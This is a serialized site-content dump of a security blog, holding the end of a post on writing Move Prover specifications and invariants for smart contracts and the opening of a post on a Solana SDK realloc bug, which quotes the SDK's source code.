spec_multiply_u64",{"type":24,"tag":147,"props":18243,"children":18244},{"style":235},[18245],{"type":29,"value":480},{"type":24,"tag":147,"props":18247,"children":18248},{"style":247},[18249],{"type":29,"value":18250},"val",{"type":24,"tag":147,"props":18252,"children":18253},{"style":235},[18254],{"type":29,"value":546},{"type":24,"tag":147,"props":18256,"children":18257},{"style":247},[18258],{"type":29,"value":18259},"multiplier",{"type":24,"tag":147,"props":18261,"children":18262},{"style":235},[18263],{"type":29,"value":18264},") > MAX_U64 ",{"type":24,"tag":147,"props":18266,"children":18267},{"style":247},[18268],{"type":29,"value":18269},"with",{"type":24,"tag":147,"props":18271,"children":18272},{"style":235},[18273],{"type":29,"value":18274}," EMULTIPLICATION;\n",{"type":24,"tag":147,"props":18276,"children":18277},{"class":149,"line":187},[18278],{"type":24,"tag":147,"props":18279,"children":18280},{"style":235},[18281],{"type":29,"value":18282},"      }\n",{"type":24,"tag":147,"props":18284,"children":18285},{"class":149,"line":196},[18286,18290,18294,18298,18302,18306,18310,18314,18318,18322,18326,18330,18334,18338,18342],{"type":24,"tag":147,"props":18287,"children":18288},{"style":247},[18289],{"type":29,"value":14553},{"type":24,"tag":147,"props":18291,"children":18292},{"style":247},[18293],{"type":29,"value":11832},{"type":24,"tag":147,"props":18295,"children":18296},{"style":229},[18297],{"type":29,"value":18241},{"type":24,"tag":147,"props":18299,"children":18300},{"style":235},[18301],{"type":29,"value":480},{"type":24,"tag":147,"props":18303,"children":18304},{"style":247},[18305],{"type":29,"value":18250},{"type":24,"tag":147,"props":18307,"children":18308},{"style":241},[18309],{"type":29,"value":978},{"type":24,"tag":147,"props":18311,"children":18312},{"style":247},[18313],{"type":29,"value":15354},{"type":24,"tag":147,"props":18315,"children":18316},{"style":235},[18317],{"type":29,"value":546},{"type":24,"tag":147,"props":18319,"children":18320},{"style":247},[18321],{"type":29,"value":18259},{"type":24,"tag":147,"props":18323,"children":18324},{"style":241},[18325],{"type":29,"value":978},{"type":24,"tag":147,"props":18327,"children":18328},{"style":9044},[18329],{"type":29,"value":18224},{"type":24,"tag":147,"props":18331,"children":18332},{"style":235},[18333],{"type":29,"value":8758},{"type":24,"tag":147,"props":18335,"children":18336},{"style":241},[18337],{"type":29,"value":978},{"type":24,"tag":147,"props":18339,"children":18340},{"style":247},[18341],{"type":29,"value":15354},{"type":24,"tag":147,"props":18343,"children":18344},{"style":235},[18345],{"type":29,"value":6630},{"type":24,"tag":147,"props":18347,"children":18348},{"class":149,"line":205},[18349,18353,18357,18361,18366,18370,18375,18380],{"type":24,"tag":147,"props":18350,"children":18351},{"style":235},[18352],{"type":29,"value":14335},{"type":24,"tag":147,"props":18354,"children":18355},{"style":247},[18356],{"type":29,"value":18250},{"type":24,"tag":147,"props":18358,"children":18359},{"style":241},[18360],{"type":29,"value":1263},{"type":24,"tag":147,"props":18362,"children":18363},{"style":247},[18364],{"type":29,"value":18365}," multiplier",{"type":24,"tag":147,"props":18367,"children":18368},{"style":241},[18369],{"type":29,"value":87},{"type":24,"tag":147,"props":18371,"children":18372},{"style":235},[18373],{"type":29,"value":18374},"value) ",{"type":24,"tag":147,"props":18376,"children":18377},{"style":241},[18378],{"type":29,"value":18379},">>",{"type":24,"tag":147,"props":18381,"children":18382},{"style":705},[18383],{"type":29,"value":18384}," 32\n",{"type":24,"tag":147,"props":18386,"children":18387},{"class":149,"line":214},[18388],{"type":24,"tag":147,"props":18389,"children":18390},{"style":235},[18391],{"type":29,"value":18282},{"type":24,"tag":43,"props":18393,"children":18395},{"id":18394},"access-control-policies",[18396],{"type":29,"value":18397},"Access Control Policies",{"type":24,"tag":25,"props":18399,"children":18400},{},[18401],{"type":29,"value":18402},"Somewhat similar to error conditions, it's often useful to enforce explicit access control policies at the specification level.",{"type":24,"tag":25,"props":18404,"children":18405},{},[18406,18408,18414,18416,18421],{"type":29,"value":18407},"For example, in ",{"type":24,"tag":80,"props":18409,"children":18411},{"className":18410},[],[18412],{"type":29,"value":18413},"std::offer",{"type":29,"value":18415}," we are able to see that the function should abort if and only if there does not exist an offer, ",{"type":24,"tag":8545,"props":18417,"children":18418},{},[18419],{"type":29,"value":18420},"or",{"type":29,"value":18422}," the recipient is now allowed.",{"type":24,"tag":137,"props":18424,"children":18426},{"code":18425,"language":8613,"meta":7,"className":8614,"style":7},"    spec redeem {\n      /// Aborts if there is no offer under `offer_address` or if the account\n      /// cannot redeem the offer.\n      /// Ensures that the offered struct under `offer_address` is removed.\n      aborts_if !exists\u003COffer\u003COffered>>(offer_address);\n      aborts_if !is_allowed_recipient\u003COffered>(offer_address, signer::address_of(account));\n      ensures !exists\u003COffer\u003COffered>>(offer_address);\n      ensures result == old(global\u003COffer\u003COffered>>(offer_address).offered);\n    }\n",[18427],{"type":24,"tag":80,"props":18428,"children":18429},{"__ignoreMap":7},[18430,18447,18455,18463,18471,18517,18575,18618,18684],{"type":24,"tag":147,"props":18431,"children":18432},{"class":149,"line":150},[18433,18438,18443],{"type":24,"tag":147,"props":18434,"children":18435},{"style":247},[18436],{"type":29,"value":18437},"    spec",{"type":24,"tag":147,"props":18439,"children":18440},{"style":247},[18441],{"type":29,"value":18442}," redeem",{"type":24,"tag":147,"props":18444,"children":18445},{"style":235},[18446],{"type":29,"value":6630},{"type":24,"tag":147,"props":18448,"children":18449},{"class":149,"line":160},[18450],{"type":24,"tag":147,"props":18451,"children":18452},{"style":154},[18453],{"type":29,"value":18454},"      /// Aborts if there is no offer under `offer_address` or if the account\n",{"type":24,"tag":147,"props":18456,"children":18457},{"class":149,"line":169},[18458],{"type":24,"tag":147,"props":18459,"children":18460},{"style":154},[18461],{"type":29,"value":18462},"      /// cannot redeem the offer.\n",{"type":24,"tag":147,"props":18464,"children":18465},{"class":149,"line":178},[18466],{"type":24,"tag":147,"props":18467,"children":18468},{"style":154},[18469],{"type":29,"value":18470},"      /// Ensures that the offered struct under `offer_address` is removed.\n",{"type":24,"tag":147,"props":18472,"children":18473},{"class":149,"line":187},[18474,18478,18482,18486,18490,18495,18499,18504,18508,18513],{"type":24,"tag":147,"props":18475,"children":18476},{"style":247},[18477],{"type":29,"value":14677},{"type":24,"tag":147,"props":18479,"children":18480},{"style":241},[18481],{"type":29,"value":3598},{"type":24,"tag":147,"props":18483,"children":18484},{"style":247},[18485],{"type":29,"value":12330},{"type":24,"tag":147,"props":18487,"children":18488},{"style":235},[18489],{"type":29,"value":3583},{"type":24,"tag":147,"props":18491,"children":18492},{"style":9044},[18493],{"type":29,"value":18494},"Offer",{"type":24,"tag":147,"props":18496,"children":18497},{"style":235},[18498],{"type":29,"value":3583},{"type":24,"tag":147,"props":18500,"children":18501},{"style":9044},[18502],{"type":29,"value":18503},"Offered",{"type":24,"tag":147,"props":18505,"children":18506},{"style":235},[18507],{"type":29,"value":12352},{"type":24,"tag":147,"props":18509,"children":18510},{"style":247},[18511],{"type":29,"value":18512},"offer_address",{"type":24,"tag":147,"props":18514,"children":18515},{"style":235},[18516],{"type":29,"value":1473},{"type":24,"tag":147,"props":18518,"children":18519},{"class":149,"line":196},[18520,18524,18528,18533,18537,18541,18545,18549,18554,18558,18562,18566,18571],{"type":24,"tag":147,"props":18521,"children":18522},{"style":247},[18523],{"type":29,"value":14677},{"type":24,"tag":147,"props":18525,"children":18526},{"style":241},[18527],{"type":29,"value":3598},{"type":24,"tag":147,"props":18529,"children":18530},{"style":247},[18531],{"type":29,"value":18532},"is_allowed_recipient",{"type":24,"tag":147,"props":18534,"children":18535},{"style":235},[18536],{"type":29,"value":3583},{"type":24,"tag":147,"props":18538,"children":18539},{"style":9044},[18540],{"type":29,"value":18503},{"type":24,"tag":147,"props":18542,"children":18543},{"style":235},[18544],{"type":29,"value":13236},{"type":24,"tag":147,"props":18546,"children":18547},{"style":247},[18548],{"type":29,"value":18512},{"type":24,"tag":147,"props":18550,"children":18551},{"style":235},[18552],{"type":29,"value":18553},", signer",{"type":24,"tag":147,"props":18555,"children":18556},{"style":241},[18557],{"type":29,"value":9106},{"type":24,"tag":147,"props":18559,"children":18560},{"style":229},[18561],{"type":29,"value":12835},{"type":24,"tag":147,"props":18563,"children":18564},{"style":235},[18565],{"type":29,"value":480},{"type":24,"tag":147,"props":18567,"children":18568},{"style":247},[18569],{"type":29,"value":18570},"account",{"type":24,"tag":147,"props":18572,"children":18573},{"style":235},[18574],{"type":29,"value":12849},{"type":24,"tag":147,"props":18576,"children":18577},{"class":149,"line":205},[18578,18582,18586,18590,18594,18598,18602,18606,18610,18614],{"type":24,"tag":147,"props":18579,"children":18580},{"style":247},[18581],{"type":29,"value":13813},{"type":24,"tag":147,"props":18583,"children":18584},{"style":241},[18585],{"type":29,"value":3598},{"type":24,"tag":147,"props":18587,"children":18588},{"style":247},[18589],{"type":29,"value":12330},{"type":24,"tag":147,"props":18591,"children":18592},{"style":235},[18593],{"type":29,"value":3583},{"type":24,"tag":147,"props":18595,"children":18596},{"style":9044},[18597],{"type":29,"value":18494},{"type":24,"tag":147,"props":18599,"children":18600},{"style":235},[18601],{"type":29,"value":3583},{"type":24,"tag":147,"props":18603,"children":18604},{"style":9044},[18605],{"type":29,"value":18503},{"type":24,"tag":147,"props":18607,"children":18608},{"style":235},[18609],{"type":29,"value":12352},{"type":24,"tag":147,"props":18611,"children":18612},{"style":247},[18613],{"type":29,"value":18512},{"type":24,"tag":147,"props":18615,"children":18616},{"style":235},[18617],{"type":29,"value":1473},{"type":24,"tag":147,"props":18619,"children":18620},{"class":149,"line":214},[18621,18625,18629,18633,18638,18642,18647,18651,18655,18659,18663,18667,18671,18675,18679],{"type":24,"tag":147,"props":18622,"children":18623},{"style":247},[18624],{"type":29,"value":13813},{"type":24,"tag":147,"props":18626,"children":18627},{"style":247},[18628],{"type":29,"value":14782},{"type":24,"tag":147,"props":18630,"children":18631},{"style":241},[18632],{"type":29,"value":8911},{"type":24,"tag":147,"props":18634,"children":18635},{"style":229},[18636],{"type":29,"value":18637}," old",{"type":24,"tag":147,"props":18639,"children":18640},{"style":235},[18641],{"type":29,"value":480},{"type":24,"tag":147,"props":18643,"children":18644},{"style":247},[18645],{"type":29,"value":18646},"global",{"type":24,"tag":147,"props":18648,"children":18649},{"style":235},[18650],{"type":29,"value":3583},{"type":24,"tag":147,"props":18652,"children":18653},{"style":9044},[18654],{"type":29,"value":18494},{"type":24,"tag":147,"props":18656,"children":18657},{"style":235},[18658],{"type":29,"value":3583},{"type":24,"tag":147,"props":18660,"children":18661},{"style":9044},[18662],{"type":29,"value":18503},{"type":24,"tag":147,"props":18664,"children":18665},{"style":235},[18666],{"type":29,"value":12352},{"type":24,"tag":147,"props":18668,"children":18669},{"style":247},[18670],{"type":29,"value":18512},{"type":24,"tag":147,"props":18672,"children":18673},{"style":235},[18674],{"type":29,"value":8758},{"type":24,"tag":147,"props":18676,"children":18677},{"style":241},[18678],{"type":29,"value":87},{"type":24,"tag":147,"props":18680,"children":18681},{"style":235},[18682],{"type":29,"value":18683},"offered);\n",{"type":24,"tag":147,"props":18685,"children":18686},{"class":149,"line":272},[18687],{"type":24,"tag":147,"props":18688,"children":18689},{"style":235},[18690],{"type":29,"value":1952},{"type":24,"tag":25,"props":18692,"children":18693},{},[18694],{"type":29,"value":18695},"These access control specifications make it impossible to accidentally remove security critical access control policies later.",{"type":24,"tag":43,"props":18697,"children":18699},{"id":18698},"complex-mathematical-formulae",[18700],{"type":29,"value":18701},"Complex Mathematical Formulae",{"type":24,"tag":25,"props":18703,"children":18704},{},[18705,18707,18712],{"type":29,"value":18706},"Whether it's a decimal implementation or more complex data structures, it's often useful to verify that the expected output is ",{"type":24,"tag":8545,"props":18708,"children":18709},{},[18710],{"type":29,"value":18711},"always",{"type":29,"value":18713}," the output.",{"type":24,"tag":25,"props":18715,"children":18716},{},[18717],{"type":29,"value":18718},"Proving that your fundamental data structures work exactly as intended will give you much more confidence in the remainder of your codebase.",{"type":24,"tag":25,"props":18720,"children":18721},{},[18722,18724,18731],{"type":29,"value":18723},"For example, in our work with ",{"type":24,"tag":2773,"props":18725,"children":18728},{"href":18726,"rel":18727},"https://laminar.markets/",[2777],[18729],{"type":29,"value":18730},"Laminar Markets",{"type":29,"value":18732},", we provided recommendations for verifying their internal splay tree implementation against a simpler priority queue data structure.",{"type":24,"tag":43,"props":18734,"children":18736},{"id":18735},"data-invariants",[18737],{"type":29,"value":18738},"Data Invariants",{"type":24,"tag":25,"props":18740,"children":18741},{},[18742,18744,18750,18752,18758,18760,18766,18768,18774],{"type":29,"value":18743},"Formal verification provides the best environment to verify that certain ",{"type":24,"tag":80,"props":18745,"children":18747},{"className":18746},[],[18748],{"type":29,"value":18749},"variables",{"type":29,"value":18751}," or ",{"type":24,"tag":80,"props":18753,"children":18755},{"className":18754},[],[18756],{"type":29,"value":18757},"resources",{"type":29,"value":18759}," don't exceed the intended boundaries. Let's consider the struct from below. We can ensure that ",{"type":24,"tag":80,"props":18761,"children":18763},{"className":18762},[],[18764],{"type":29,"value":18765},"index",{"type":29,"value":18767}," is never greater than 4 using a ",{"type":24,"tag":80,"props":18769,"children":18771},{"className":18770},[],[18772],{"type":29,"value":18773},"struct invariant",{"type":29,"value":87},{"type":24,"tag":137,"props":18776,"children":18778},{"code":18777,"language":8613,"meta":7,"className":8614,"style":7},"struct Type {\n    index: u64\n}\n\nspec Type {\n    invariant index \u003C 4;\n}\n",[18779],{"type":24,"tag":80,"props":18780,"children":18781},{"__ignoreMap":7},[18782,18798,18815,18822,18829,18844,18868],{"type":24,"tag":147,"props":18783,"children":18784},{"class":149,"line":150},[18785,18789,18794],{"type":24,"tag":147,"props":18786,"children":18787},{"style":218},[18788],{"type":29,"value":993},{"type":24,"tag":147,"props":18790,"children":18791},{"style":9044},[18792],{"type":29,"value":18793}," Type",{"type":24,"tag":147,"props":18795,"children":18796},{"style":235},[18797],{"type":29,"value":6630},{"type":24,"tag":147,"props":18799,"children":18800},{"class":149,"line":160},[18801,18806,18810],{"type":24,"tag":147,"props":18802,"children":18803},{"style":247},[18804],{"type":29,"value":18805},"    index",{"type":24,"tag":147,"props":18807,"children":18808},{"style":241},[18809],{"type":29,"value":978},{"type":24,"tag":147,"props":18811,"children":18812},{"style":9044},[18813],{"type":29,"value":18814}," u64\n",{"type":24,"tag":147,"props":18816,"children":18817},{"class":149,"line":169},[18818],{"type":24,"tag":147,"props":18819,"children":18820},{"style":235},[18821],{"type":29,"value":827},{"type":24,"tag":147,"props":18823,"children":18824},{"class":149,"line":178},[18825],{"type":24,"tag":147,"props":18826,"children":18827},{"emptyLinePlaceholder":16},[18828],{"type":29,"value":314},{"type":24,"tag":147,"props":18830,"children":18831},{"class":149,"line":187},[18832,18836,18840],{"type":24,"tag":147,"props":18833,"children":18834},{"style":247},[18835],{"type":29,"value":13901},{"type":24,"tag":147,"props":18837,"children":18838},{"style":9044},[18839],{"type":29,"value":18793},{"type":24,"tag":147,"props":18841,"children":18842},{"style":235},[18843],{"type":29,"value":6630},{"type":24,"tag":147,"props":18845,"children":18846},{"class":149,"line":196},[18847,18851,18856,18860,18864],{"type":24,"tag":147,"props":18848,"children":18849},{"style":247},[18850],{"type":29,"value":13918},{"type":24,"tag":147,"props":18852,"children":18853},{"style":247},[18854],{"type":29,"value":18855}," index",{"type":24,"tag":147,"props":18857,"children":18858},{"style":241},[18859],{"type":29,"value":14344},{"type":24,"tag":147,"props":18861,"children":18862},{"style":705},[18863],{"type":29,"value":17364},{"type":24,"tag":147,"props":18865,"children":18866},{"style":235},[18867],{"type":29,"value":432},{"type":24,"tag":147,"props":18869,"children":18870},{"class":149,"line":205},[18871],{"type":24,"tag":147,"props":18872,"children":18873},{"style":235},[18874],{"type":29,"value":827},{"type":24,"tag":25,"props":18876,"children":18877},{},[18878,18880,18887,18888,18894],{"type":29,"value":18879},"We were able to verify more complex properties in our recent audits for ",{"type":24,"tag":2773,"props":18881,"children":18884},{"href":18882,"rel":18883},"https://layerzero.network/",[2777],[18885],{"type":29,"value":18886},"LayerZero",{"type":29,"value":855},{"type":24,"tag":2773,"props":18889,"children":18892},{"href":18890,"rel":18891},"http://ariesmarkets.xyz/",[2777],[18893],{"type":29,"value":12416},{"type":29,"value":18895},", but the details are left as an exercise to the reader.",{"type":24,"tag":43,"props":18897,"children":18899},{"id":18898},"economic-invariants",[18900],{"type":29,"value":18901},"Economic Invariants.",{"type":24,"tag":25,"props":18903,"children":18904},{},[18905],{"type":29,"value":18906},"Proper economic invariants can require more creativity to come up with but can be extremely effective at securing your protocol.",{"type":24,"tag":25,"props":18908,"children":18909},{},[18910],{"type":29,"value":18911},"For example, you should never be able to drain coins from a pool by adding and removing shares. In practice, you might implement this as a utility helper function.",{"type":24,"tag":137,"props":18913,"children":18914},{"code":13593,"language":8613,"meta":7,"className":8614,"style":7},[18915],{"type":24,"tag":80,"props":18916,"children":18917},{"__ignoreMap":7},[18918,18925,19008,19047,19066,19073,19088,19111,19134,19157],{"type":24,"tag":147,"props":18919,"children":18920},{"class":149,"line":150},[18921],{"type":24,"tag":147,"props":18922,"children":18923},{"style":154},[18924],{"type":29,"value":13605},{"type":24,"tag":147,"props":18926,"children":18927},{"class":149,"line":160},[18928,18932,18936,18940,18944,18948,18952,18956,18960,18964,18968,18972,18976,18980,18984,18988,18992,18996,19000,19004],{"type":24,"tag":147,"props":18929,"children":18930},{"style":247},[18931],{"type":29,"value":12195},{"type":24,"tag":147,"props":18933,"children":18934},{"style":229},[18935],{"type":29,"value":13617},{"type":24,"tag":147,"props":18937,"children":18938},{"style":235},[18939],{"type":29,"value":480},{"type":24,"tag":147,"props":18941,"children":18942},{"style":247},[18943],{"type":29,"value":13626},{"type":24,"tag":147,"props":18945,"children":18946},{"style":241},[18947],{"type":29,"value":978},{"type":24,"tag":147,"props":18949,"children":18950},{"style":9044},[18951],{"type":29,"value":11484},{"type":24,"tag":147,"props":18953,"children":18954},{"style":235},[18955],{"type":29,"value":546},{"type":24,"tag":147,"props":18957,"children":18958},{"style":247},[18959],{"type":29,"value":13643},{"type":24,"tag":147,"props":18961,"children":18962},{"style":241},[18963],{"type":29,"value":978},{"type":24,"tag":147,"props":18965,"children":18966},{"style":9044},[18967],{"type":29,"value":11484},{"type":24,"tag":147,"props":18969,"children":18970},{"style":235},[18971],{"type":29,"value":8758},{"type":24,"tag":147,"props":18973,"children":18974},{"style":241},[18975],{"type":29,"value":978},{"type":24,"tag":147,"props":18977,"children":18978},{"style":235},[18979],{"type":29,"value":408},{"type":24,"tag":147,"props":18981,"children":18982},{"style":9044},[18983],{"type":29,"value":13668},{"type":24,"tag":147,"props":18985,"children":18986},{"style":235},[18987],{"type":29,"value":546},{"type":24,"tag":147,"props":18989,"children":18990},{"style":9044},[18991],{"type":29,"value":13668},{"type":24,"tag":147,"props":18993,"children":18994},{"style":235},[18995],{"type":29,"value":564},{"type":24,"tag":147,"props":18997,"children":18998},{"style":247},[18999],{"type":29,"value":11969},{"type":24,"tag":147,"props":19001,"children":19002},{"style":9044},[19003],{"type":29,"value":13689},{"type":24,"tag":147,"props":19005,"children":19006},{"style":235},[19007],{"type":29,"value":6630},{"type":24,"tag":147,"props":19009,"children":19010},{"class":149,"line":169},[19011,19015,19019,19023,19027,19031,19035,19039,19043],{"type":24,"tag":147,"props":19012,"children":19013},{"style":218},[19014],{"type":29,"value":13701},{"type":24,"tag":147,"props":19016,"children":19017},{"style":247},[19018],{"type":29,"value":13706},{"type":24,"tag":147,"props":19020,"children":19021},{"style":241},[19022],{"type":29,"value":651},{"type":24,"tag":147,"props":19024,"children":19025},{"style":229},[19026],{"type":29,"value":13715},{"type":24,"tag":147,"props":19028,"children":19029},{"style":235},[19030],{"type":29,"value":480},{"type":24,"tag":147,"props":19032,"children":19033},{"style":247},[19034],{"type":29,"value":13626},{"type":24,"tag":147,"props":19036,"children":19037},{"style":235},[19038],{"type":29,"value":546},{"type":24,"tag":147,"props":19040,"children":19041},{"style":247},[19042],{"type":29,"value":13643},{"type":24,"tag":147,"props":19044,"children":19045},{"style":235},[19046],{"type":29,"value":1473},{"type":24,"tag":147,"props":19048,"children":19049},{"class":149,"line":178},[19050,19054,19058,19062],{"type":24,"tag":147,"props":19051,"children":19052},{"style":229},[19053],{"type":29,"value":13743},{"type":24,"tag":147,"props":19055,"children":19056},{"style":235},[19057],{"type":29,"value":480},{"type":24,"tag":147,"props":19059,"children":19060},{"style":247},[19061],{"type":29,"value":13752},{"type":24,"tag":147,"props":19063,"children":19064},{"style":235},[19065],{"type":29,"value":269},{"type":24,"tag":147,"props":19067,"children":19068},{"class":149,"line":187},[19069],{"type":24,"tag":147,"props":19070,"children":19071},{"style":235},[19072],{"type":29,"value":11496},{"type":24,"tag":147,"props":19074,"children":19075},{"class":149,"line":196},[19076,19080,19084],{"type":24,"tag":147,"props":19077,"children":19078},{"style":247},[19079],{"type":29,"value":13771},{"type":24,"tag":147,"props":19081,"children":19082},{"style":247},[19083],{"type":29,"value":13617},{"type":24,"tag":147,"props":19085,"children":19086},{"style":235},[19087],{"type":29,"value":6630},{"type":24,"tag":147,"props":19089,"children":19090},{"class":149,"line":205},[19091,19095,19099,19103,19107],{"type":24,"tag":147,"props":19092,"children":19093},{"style":247},[19094],{"type":29,"value":13787},{"type":24,"tag":147,"props":19096,"children":19097},{"style":247},[19098],{"type":29,"value":13792},{"type":24,"tag":147,"props":19100,"children":19101},{"style":241},[19102],{"type":29,"value":369},{"type":24,"tag":147,"props":19104,"children":19105},{"style":218},[19106],{"type":29,"value":13801},{"type":24,"tag":147,"props":19108,"children":19109},{"style":235},[19110],{"type":29,"value":432},{"type":24,"tag":147,"props":19112,"children":19113},{"class":149,"line":214},[19114,19118,19122,19126,19130],{"type":24,"tag":147,"props":19115,"children":19116},{"style":247},[19117],{"type":29,"value":13813},{"type":24,"tag":147,"props":19119,"children":19120},{"style":247},[19121],{"type":29,"value":13818},{"type":24,"tag":147,"props":19123,"children":19124},{"style":241},[19125],{"type":29,"value":13823},{"type":24,"tag":147,"props":19127,"children":19128},{"style":247},[19129],{"type":29,"value":13828},{"type":24,"tag":147,"props":19131,"children":19132},{"style":235},[19133],{"type":29,"value":432},{"type":24,"tag":147,"props":19135,"children":19136},{"class":149,"line":272},[19137,19141,19145,19149,19153],{"type":24,"tag":147,"props":19138,"children":19139},{"style":247},[19140],{"type":29,"value":13813},{"type":24,"tag":147,"props":19142,"children":19143},{"style":247},[19144],{"type":29,"value":13844},{"type":24,"tag":147,"props":19146,"children":19147},{"style":241},[19148],{"type":29,"value":13823},{"type":24,"tag":147,"props":19150,"children":19151},{"style":247},[19152],{"type":29,"value":13853},{"type":24,"tag":147,"props":19154,"children":19155},{"style":235},[19156],{"type":29,"value":432},{"type":24,"tag":147,"props":19158,"children":19159},{"class":149,"line":281},[19160],{"type":24,"tag":147,"props":19161,"children":19162},{"style":235},[19163],{"type":29,"value":11496},{"type":24,"tag":25,"props":19165,"children":19166},{},[19167],{"type":29,"value":19168},"Some other ideas include",{"type":24,"tag":2674,"props":19170,"children":19171},{},[19172,19177,19182],{"type":24,"tag":2678,"props":19173,"children":19174},{},[19175],{"type":29,"value":19176},"Swapping through an AMM should never lead to a decrease in one side of the pool without also increasing the other side. In other words, no free money",{"type":24,"tag":2678,"props":19178,"children":19179},{},[19180],{"type":29,"value":19181},"Lending protocols should always be fully collateralized after a series of deposit, borrow, and withdraw instructions.",{"type":24,"tag":2678,"props":19183,"children":19184},{},[19185],{"type":29,"value":19186},"Orderbooks should never lose money after an order is placed and then canceled.",{"type":24,"tag":32,"props":19188,"children":19189},{"id":10934},[19190],{"type":29,"value":10937},{"type":24,"tag":25,"props":19192,"children":19193},{},[19194],{"type":29,"value":19195},"In this post, we've explored how to properly utilize the Move Prover to verify critical invariants about your codebase.",{"type":24,"tag":25,"props":19197,"children":19198},{},[19199],{"type":29,"value":19200},"In our upcoming posts, we will explore how to turn the Move Prover into a weapon for squashing security vulnerabilities by learning how to ask the right questions, so stay tuned!",{"type":24,"tag":25,"props":19202,"children":19203},{},[19204,19206,19211],{"type":29,"value":19205},"We're passionate about formal verification and pushing the edge of what's possible in Move security. If you have any thoughts, or would like to explore an audit, feel free to reach out to me ",{"type":24,"tag":2773,"props":19207,"children":19209},{"href":14863,"rel":19208},[2777],[19210],{"type":29,"value":14867},{"type":29,"value":87},{"type":24,"tag":8473,"props":19213,"children":19214},{},[19215],{"type":29,"value":8477},{"title":7,"searchDepth":160,"depth":160,"links":19217},[19218,19219,19222,19229],{"id":14927,"depth":160,"text":14930},{"id":14981,"depth":160,"text":14984,"children":19220},[19221],{"id":15231,"depth":169,"text":15227},{"id":18127,"depth":160,"text":18130,"children":19223},[19224,19225,19226,19227,19228],{"id":18143,"depth":169,"text":18146},{"id":18394,"depth":169,"text":18397},{"id":18698,"depth":169,"text":18701},{"id":18735,"depth":169,"text":18738},{"id":18898,"depth":169,"text":18901},{"id":10934,"depth":160,"text":10937},"content:blog:2022-09-16-move-prover.md","blog/2022-09-16-move-prover.md","blog/2022-09-16-move-prover",{"_path":19234,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":19235,"description":19236,"author":19237,"image":19238,"date":19241,"isFeatured":16,"onBlogPage":16,"tags":19242,"body":19243,"_type":8496,"_id":24350,"_source":8498,"_file":24351,"_stem":24352,"_extension":8501},"/blog/2022-12-09-rust-realloc-and-references","Rust, Realloc, and References","Rust is safe.. right? Not if your dependencies are unsafe.. A deep dive into a subtle Solana SDK bug, Rust internals, and how we found it all.","ethan",{"src":19239,"height":19240,"width":15},"/posts/rust-realloc-and-references/title.jpg",512,"2022-12-09",[8514,14891],{"type":21,"children":19244,"toc":24334},[19245,19273,19293,19960,19980,19991,20003,20136,20146,20152,20178,20518,20563,20888,20951,20964,21038,21105,21126,21139,21153,21499,21510,21515,21646,21696,21722,21734,21907,22043,22084,22121,22184,22189,22226,22280,22291,22435,22447,22453,22459,22492,22506,22627,22646,22674,22680,22770,22861,22867,22872,22919,23188,23263,23274,23301,23633,23645,23718,23991,24028,24330],{"type":24,"tag":25,"props":19246,"children":19247},{},[19248,19250,19256,19258,19263,19265,19271],{"type":29,"value":19249},"It all started with an audit of a program that used ",{"type":24,"tag":80,"props":19251,"children":19253},{"className":19252},[],[19254],{"type":29,"value":19255},"realloc",{"type":29,"value":19257}," on an account, without any bounds checks on the new size allowed. It seemed like the developers assumed that if the new size was too large, the ",{"type":24,"tag":80,"props":19259,"children":19261},{"className":19260},[],[19262],{"type":29,"value":19255},{"type":29,"value":19264}," call (from ",{"type":24,"tag":80,"props":19266,"children":19268},{"className":19267},[],[19269],{"type":29,"value":19270},"solana_program",{"type":29,"value":19272},") would error out appropriately.",{"type":24,"tag":25,"props":19274,"children":19275},{},[19276,19278,19284,19285,19292],{"type":29,"value":19277},"But we're not ones to just assume things around here, so let's take a look at how ",{"type":24,"tag":80,"props":19279,"children":19281},{"className":19280},[],[19282],{"type":29,"value":19283},"AccountInfo::realloc",{"type":29,"value":5819},{"type":24,"tag":2773,"props":19286,"children":19289},{"href":19287,"rel":19288},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#124-148",[2777],[19290],{"type":29,"value":19291},"implemented",{"type":29,"value":978},{"type":24,"tag":137,"props":19294,"children":19296},{"className":8614,"code":19295,"language":8613,"meta":7,"style":7},"pub fn realloc(&self, new_len: usize, zero_init: bool) -> Result\u003C(), ProgramError> {\n    let orig_len = self.data_len();\n\n    // realloc\n    unsafe {\n        // First set new length in the serialized data\n        let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n        *ptr = new_len as u64;\n\n        // Then set the new length in the local slice\n        let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n        *ptr = new_len as u64;\n    }\n\n    // zero-init if requested\n    if zero_init && new_len > orig_len {\n        sol_memset(\n            &mut self.try_borrow_mut_data()?[orig_len..],\n            0,\n            new_len.saturating_sub(orig_len),\n        );\n    }\n\n    Ok(())\n}\n",[19297],{"type":24,"tag":80,"props":19298,"children":19299},{"__ignoreMap":7},[19300,19393,19427,19434,19442,19454,19462,19553,19586,19593,19601,19731,19762,19769,19776,19784,19817,19829,19878,19890,19919,19926,19933,19940,19953],{"type":24,"tag":147,"props":19301,"children":19302},{"class":149,"line":150},[19303,19308,19313,19318,19322,19326,19331,19335,19340,19344,19349,19353,19358,19362,19366,19370,19374,19379,19384,19389],{"type":24,"tag":147,"props":19304,"children":19305},{"style":218},[19306],{"type":29,"value":19307},"pub",{"type":24,"tag":147,"props":19309,"children":19310},{"style":218},[19311],{"type":29,"value":19312}," fn",{"type":24,"tag":147,"props":19314,"children":19315},{"style":229},[19316],{"type":29,"value":19317}," realloc",{"type":24,"tag":147,"props":19319,"children":19320},{"style":235},[19321],{"type":29,"value":480},{"type":24,"tag":147,"props":19323,"children":19324},{"style":241},[19325],{"type":29,"value":485},{"type":24,"tag":147,"props":19327,"children":19328},{"style":218},[19329],{"type":29,"value":19330},"self",{"type":24,"tag":147,"props":19332,"children":19333},{"style":235},[19334],{"type":29,"value":546},{"type":24,"tag":147,"props":19336,"children":19337},{"style":247},[19338],{"type":29,"value":19339},"new_len",{"type":24,"tag":147,"props":19341,"children":19342},{"style":241},[19343],{"type":29,"value":978},{"type":24,"tag":147,"props":19345,"children":19346},{"style":9044},[19347],{"type":29,"value":19348}," 